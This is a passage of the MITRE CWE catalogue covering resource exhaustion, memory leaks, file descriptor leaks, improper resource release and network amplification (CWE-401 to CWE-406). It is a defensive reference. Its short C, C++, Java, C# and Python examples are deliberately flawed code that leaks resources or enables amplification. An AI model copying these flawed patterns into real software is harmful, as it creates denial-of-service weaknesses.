MemberOf	C	1148	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)	1133	1991
MemberOf	C	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	1993
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Notes

Maintenance

"Resource consumption" could be interpreted as a consequence instead of an insecure behavior, so this entry is being considered for modification. It appears to be referenced too frequently when

more precise mappings are available. Some of its children, such as CWE-771, might be better considered as a chain.

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.

Other

Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of Perl code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request. A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Resource exhaustion (file descriptor, disk space, sockets, ...)
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
WASC	10		Denial of Service
WASC	41		XML Attribute Blowup
The CERT Oracle Secure Coding Standard for Java (2011)	SER12-J		Avoid memory and resource leaks during serialization
The CERT Oracle Secure Coding Standard for Java (2011)	MSC05-J		Do not exhaust heap space
Software Fault Patterns	SFP13		Unrestricted Consumption

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
147	XML Ping of the Death
197	XML Entity Expansion
492	Regular Expression Exponential Blowup

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-386]Joao Antunes, Nuno Ferreira Neves and Paulo Verissimo. "Detection and Prediction of Resource-Exhaustion Vulnerabilities". Proceedings of the IEEE International Symposium on Software Reliability Engineering (ISSRE). 2008 November. < http://homepages.di.fc.ul.pt/~nuno/PAPERS/ISSRE08.pdf >.

[REF-387]D.J. Bernstein. "Resource exhaustion". < http://cr.yp.to/docs/resources.html >.

[REF-388]Pascal Meunier. "Resource exhaustion". Secure Programming Educational Material. 2004. < http://homes.cerias.purdue.edu/~pmeunier/secprog/sanitized/class1/6.resource%20exhaustion.ppt >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

CWE-401: Missing Release of Memory after Effective Lifetime

Weakness ID : 401 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.

Extended Description

This is often triggered by improper handling of malformed data or unexpectedly interrupted sessions. In some languages, developers are responsible for tracking memory allocation and releasing the memory. If there are no more pointers or references to the memory, then it can no longer be tracked and identified for release.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	772	Missing Release of Resource after Effective Lifetime	1432
CanFollow	B	390	Detection of Error Condition Without Action	845

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	404	Improper Resource Shutdown or Release	877

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Alternate Terms

Memory Leak :

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Instability DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)	

Scope	Impact	Likelihood
	Most memory leaks result in general software reliability problems, but if an attacker can intentionally trigger a memory leak, the attacker might be able to launch a denial of service attack (by crashing or hanging the program) or take advantage of other unexpected program behavior resulting from a low memory condition.	
Other	Reduce Performance	

Potential Mitigations

Phase: Implementation

Strategy = Libraries or Frameworks

Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone. For example, glibc in Linux provides protection against free of invalid pointers. When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391]. To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Phase: Architecture and Design

Phase: Build and Compilation

The Boehm-Demers-Weiser Garbage Collector or valgrind can be used to detect leaks in code.

Demonstrative Examples

Example 1:

The following C function leaks a block of allocated memory if the call to read() does not return the expected number of bytes:

Example Language: C *(bad)*

```
char* getBlock(int fd) {
    char* buf = (char*) malloc(BLOCK_SIZE);
    if (!buf) {
        return NULL;
    }
    if (read(fd, buf, BLOCK_SIZE) != BLOCK_SIZE) {
        return NULL;
    }
    return buf;
}
```

Observed Examples

Reference	Description
CVE-2005-3119	Memory leak because function does not free() an element of a data structure. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3119*
CVE-2004-0427	Memory leak when counter variable is not decremented. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0427*
CVE-2002-0574	chain: reference count is not decremented, leading to memory leak in OS by sending ICMP packets. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0574*

Reference	Description
CVE-2005-3181	Kernel uses wrong function to release a data structure, preventing data from being properly tracked by other code. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3181*
CVE-2004-0222	Memory leak via unknown manipulations as part of protocol test suite. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0222*
CVE-2001-0136	Memory leak via a series of the same command. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0136*

Functional Areas

- Memory Management

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	398	7PK - Code Quality	700	1863
MemberOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	1879
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	1910
MemberOf	C	982	SFP Secondary Cluster: Failure to Release Resource	888	1950
MemberOf	C	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	1993
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	1998
MemberOf	C	1238	SFP Primary Cluster: Failure to Release Memory	888	2020

Notes

Relationship

This is often a resultant weakness due to improper handling of malformed data or early termination of sessions.

Terminology

"memory leak" has sometimes been used to describe other kinds of issues, e.g. for information leaks in which the contents of memory are inadvertently leaked (CVE-2003-0400 is one such example of this terminology conflict).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Memory leak
7 Pernicious Kingdoms			Memory Leak
CLASP			Failure to deallocate data
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT C Secure Coding	MEM31-C	Exact	Free dynamically allocated memory when no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)	MSC04-J		Do not leak memory
Software Fault Patterns	SFP38		Failure to Release Memory

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-14		

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-390]J. Whittaker and H. Thompson. "How to Break Software Security". 2003. Addison Wesley.

[REF-391]iOS Developer Library. "Transitioning to ARC Release Notes". 2013 August 8. < https://developer.apple.com/library/ios/releasenotes/ObjectiveC/RN-TransitioningToARC/Introduction/Introduction.html >.

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < http://www.omg.org/spec/ASCPEM/1.0 >.

CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak')

Weakness ID : 402 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software makes resources available to untrusted parties when those resources are only intended to be accessed by the software.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305
ParentOf	B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')	876
ParentOf	B	619	Dangling Database Cursor ('Cursor Injection')	1228

Alternate Terms

Resource Leak :

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Resource leaks

CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')

Weakness ID : 403 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A process does not close sensitive file descriptors before invoking a child process, which allows the child to perform unauthorized I/O operations using those descriptors.

Extended Description

When a new process is forked or executed, the child process inherits any open file descriptors. When the child process has fewer privileges than the parent process, this might introduce a vulnerability if the child process can access the file descriptor but does not have the privileges to access the associated file.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	402	Transmission of Private Resources into a New Sphere ('Resource Leak')	875

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : Unix *(Prevalence = Undetermined)*

Alternate Terms

File descriptor leak : While this issue is frequently called a file descriptor leak, the "leak" term is often used in two different ways - exposure of a resource, or consumption of a resource. Use of this term could cause confusion.

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	

Observed Examples

Reference	Description
CVE-2003-0740	Server leaks a privileged file descriptor, allowing the server to be hijacked. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0740*
CVE-2004-1033	File descriptor leak allows read of restricted files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1033*
CVE-2000-0094	Access to restricted resource using modified file descriptor for stderr. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0094*
CVE-2002-0638	Open file descriptor used as alternate channel in complex race condition. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0638*
CVE-2003-0489	Program does not fully drop privileges after creating a file descriptor, which allows access to the descriptor via a separate vulnerability. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0489*
CVE-2003-0937	User bypasses restrictions by obtaining a file descriptor then calling setuid program, which does not close the descriptor. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0937*
CVE-2004-2215	Terminal manager does not properly close file descriptors, allowing attackers to access terminals of other users. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2215*
CVE-2006-5397	Module opens a file for reading twice, allowing attackers to read files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5397*

Affected Resources

- System Process
- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			UNIX file descriptor leak
CERT C Secure Coding	FIO42-C		Ensure files are properly closed when they are no longer needed
Software Fault Patterns	SFP23		Exposed Data

References

[REF-392]Paul Roberts. "File descriptors and setuid applications". 2007 February 5. < https://blogs.oracle.com/paulr/entry/file_descriptors_and_setuid_applications >.

[REF-393]Apple. "Introduction to Secure Coding Guide". < https://developer.apple.com/library/mac/#documentation/security/conceptual/SecureCodingGuide/Articles/AccessControl.html >.

CWE-404: Improper Resource Shutdown or Release

Weakness ID : 404 **Status:** Draft

Structure : Simple
Abstraction : Class

Description

The program does not release or incorrectly releases a resource before it is made available for re-use.

Extended Description

When a resource is created or allocated, the developer is responsible for properly releasing the resource as well as accounting for all potential paths of expiration or invalidation, such as a set period of time or revocation.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	B	262	Not Using Password Aging	577
ParentOf	B	263	Password Aging with Long Expiration	579
ParentOf	B	299	Improper Check for Certificate Revocation	661
ParentOf	B	459	Incomplete Cleanup	978
ParentOf	B	763	Release of Invalid Pointer or Reference	1408
ParentOf	B	772	Missing Release of Resource after Effective Lifetime	1432
ParentOf	B	1266	Improper Scrubbing of Sensitive Data from Decommissioned Device	1805
PeerOf	C	405	Asymmetric Resource Consumption (Amplification)	883
PeerOf	V	239	Failure to Handle Incomplete Element	532
CanPrecede	B	619	Dangling Database Cursor ('Cursor Injection')	1228

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	V	401	Missing Release of Memory after Effective Lifetime	872
ParentOf	B	459	Incomplete Cleanup	978
ParentOf	B	763	Release of Invalid Pointer or Reference	1408
ParentOf	B	772	Missing Release of Resource after Effective Lifetime	1432

Weakness Ordinalities

Primary : Improper release or shutdown of resources can be primary to resource exhaustion, performance, and information confidentiality problems to name a few.

Resultant : Improper release or shutdown of resources can be resultant from improper error handling or insufficient resource tracking.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability Other	DoS: Resource Consumption (Other) Varies by Context *Most unreleased resource issues result in general software reliability problems, but if an attacker can intentionally trigger a resource leak, the attacker might be able to launch a denial of service attack by depleting the resource pool.*	
Confidentiality	Read Application Data *When a resource containing sensitive information is not correctly shutdown, it may expose the sensitive data in a subsequent allocation.*	

Detection Methods

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Resource clean up errors might be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

Phase: Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free memory in a function. If you allocate memory that you intend to free upon completion of the function, you must be sure to free the memory at all exit points for that function including error conditions.

Phase: Implementation

Memory should be allocated/freed using matching functions such as malloc/free, new/delete, and new[]/delete[].

Phase: Implementation

When releasing a complex object or structure, ensure that you properly dispose of all of its member components, not just the object itself.

Demonstrative Examples

Example 1:

The following method never closes the file handle it opens. The Finalize() method for StreamReader eventually calls Close(), but there is no guarantee as to how long it will take before the Finalize() method is invoked. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, this can result in the VM using up all of its available file handles.

Example Language: Java *(bad)*

```
private void processFile(string fName) {
    StreamWriter sw = new StreamWriter(fName);
    string line;
    while ((line = sr.ReadLine()) != null){
        processLine(line);
    }
}
```

Example 2:

This code attempts to open a connection to a database and catches any exceptions that may occur.

Example Language: Java *(bad)*

```
try {
    Connection con = DriverManager.getConnection(some_connection_string);
}
catch ( Exception e ) {
    log( e );
}
```

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.

Example 3:

Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

Example Language: C# *(bad)*

```
...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...
```

Example 4:

The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

Example Language: C *(bad)*

```
int decodeFile(char* fName) {
    char buf[BUF_SZ];
    FILE* f = fopen(fName, "r");
    if (!f) {
        printf("cannot open %s\n", fName);
        return DECODE_FAIL;
    }
    else {
        while (fgets(buf, BUF_SZ, f)) {
            if (!checkChecksum(buf)) {
                return DECODE_FAIL;
            }
            else {
                decodeBlock(buf);
            }
        }
    }
    fclose(f);
    return DECODE_SUCCESS;
}
```

Example 5:

In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.

Example Language: C++ *(bad)*

```
class A {
    void foo();
};
void A::foo(){
    int *ptr;
    ptr = (int*)malloc(sizeof(int));
    delete ptr;
}
```

Example 6:

In this example, the program calls the delete[] function on non-heap memory.

Example Language: C++ *(bad)*

```
class A{
    void foo(bool);
};
void A::foo(bool heap) {
    int localArray[2] = {
        11,22
    };
    int *p = localArray;
    if (heap){
        p = new int[2];
    }
    delete[] p;
}
```

Observed Examples

Reference	Description
CVE-1999-1127	Does not shut down named pipe connections if malformed data is sent. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1127*
CVE-2001-0830	Sockets not properly closed when attacker repeatedly connects and disconnects from server.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0830
CVE-2002-1372	Return values of file/socket operations not checked, allowing resultant consumption of file descriptors. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1372*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	398	7PK - Code Quality	700	1863
MemberOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	1879
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	752	2009 Top 25 - Risky Resource Management	750	1893
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	1908
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	C	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)	868	1920
MemberOf	C	982	SFP Secondary Cluster: Failure to Release Resource	888	1950
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	1990
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	1998
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	1999

Notes

Relationship

Overlaps memory leaks, asymmetric resource consumption, malformed input errors.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Improper resource shutdown or release
7 Pernicious Kingdoms			Unreleased Resource
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed
CERT C Secure Coding	MEM31-C	CWE More Abstract	Free dynamically allocated memory when no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)	FIO04-J		Release resources when they are no longer needed
Software Fault Patterns	SFP14		Failure to release resource

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
125	Flooding
130	Excessive Allocation
131	Resource Leak Exposure
494	TCP Fragmentation
495	UDP Fragmentation
496	ICMP Fragmentation

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-405: Asymmetric Resource Consumption (Amplification)

Weakness ID : 405 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

Software that does not appropriately monitor or control resource consumption can lead to adverse system performance.

Extended Description

This situation is amplified if the software allows malicious users or attackers to consume more resources than their access level permits. Exploiting such a weakness can lead to asymmetric resource consumption, aiding in amplification attacks against the system or the network.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	C	406	Insufficient Control of Network Message Volume (Network Amplification)	884
ParentOf	C	407	Inefficient Algorithmic Complexity	887
ParentOf	B	408	Incorrect Behavior Order: Early Amplification	888
ParentOf	B	409	Improper Handling of Highly Compressed Data (Data Amplification)	890
ParentOf	B	1050	Excessive Platform Resource Consumption within a Loop	1652
ParentOf	B	1072	Data Resource Access without Use of Connection Pooling	1673
ParentOf	B	1073	Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses	1674
ParentOf	B	1084	Invokable Control Element with Excessive File or Data Access Operations	1684
ParentOf	B	1089	Large Data Table with Excessive Number of Indices	1689
ParentOf	B	1094	Excessive Index Range Scan for a Data Resource	1694
ParentOf	C	1176	Inefficient CPU Computation	1724
PeerOf	C	404	Improper Resource Shutdown or Release	877

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Amplification DoS: Resource Consumption (Other) *Sometimes this is a factor in "flood" attacks, but other types of amplification exist.*	

Potential Mitigations

Phase: Architecture and Design

An application must make resources available to a client commensurate with the client's access level.

Phase: Architecture and Design

An application must, at all times, keep track of allocated resources and meter their usage appropriately.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	1879
MemberOf	C	855	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 12 - Thread Pools (TPS)	844	1907
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	1908
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947
MemberOf	C	1145	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 11. Thread Pools (TPS)	1133	1989
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	1990

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Asymmetric resource consumption (amplification)
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
WASC	41		XML Attribute Blowup
The CERT Oracle Secure Coding Standard for Java (2011)	TPS00-J		Use thread pools to enable graceful degradation of service during traffic bursts
The CERT Oracle Secure Coding Standard for Java (2011)	FIO04-J		Release resources when they are no longer needed

CWE-406: Insufficient Control of Network Message Volume (Network Amplification)

Weakness ID : 406 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software does not sufficiently monitor or control transmitted network traffic volume, so that an actor can cause the software to transmit more traffic than should be allowed for that actor.

Extended Description

In the absence of a policy to restrict asymmetric resource consumption, the application or system cannot distinguish between legitimate transmissions and traffic intended to serve as an amplifying attack on target systems. Systems can often be configured to restrict the amount of traffic sent out on behalf of a client, based on the client's origin or access level. This is usually defined in a resource allocation policy. In the absence of a mechanism to keep track of transmissions, the system or application can be easily abused to transmit asymmetrically greater traffic than the request or client should be permitted to.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	405	Asymmetric Resource Consumption (Amplification)	883
CanFollow	B	941	Incorrectly Specified Destination in a Communication Channel	1619

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Amplification DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other) *System resources can be quickly consumed leading to poor application performance or system crash. This may affect network performance and could be used to attack other systems and applications relying on network performance.*	

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

An application must make network resources available to a client commensurate with the client's access level.

Phase: Policy

Define a clear policy for network resource allocation and consumption.

Phase: Implementation

An application must, at all times, keep track of network resources and meter their usage appropriately.

Demonstrative Examples

Example 1:

This code listens on a port for DNS requests and sends the result to the requesting address.

Example Language: Python *(bad)*

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
while true:
    data = sock.recvfrom(1024)
    if not data:
        break
    (requestIP, nameToResolve) = parseUDPpacket(data)
    record = resolveName(nameToResolve)
    sendResponse(requestIP,record)
```

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.

Observed Examples

Reference	Description
CVE-1999-0513	Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0513*
CVE-1999-1379	DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1379*
CVE-2000-0041	Large datagrams are sent in response to malformed datagrams. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0041*
CVE-1999-1066	Game server sends a large amount. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1066*
CVE-2013-5211	composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5211*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947

Notes

Relationship

This can be resultant from weaknesses that simplify spoofing attacks.

Theoretical

Network amplification, when performed with spoofing, is normally a multi-channel attack from attacker (acting as user) to amplifier, and amplifier to victim.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Network Amplification

CWE-407: Inefficient Algorithmic Complexity

Weakness ID : 407 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	405	Asymmetric Resource Consumption (Amplification)	883

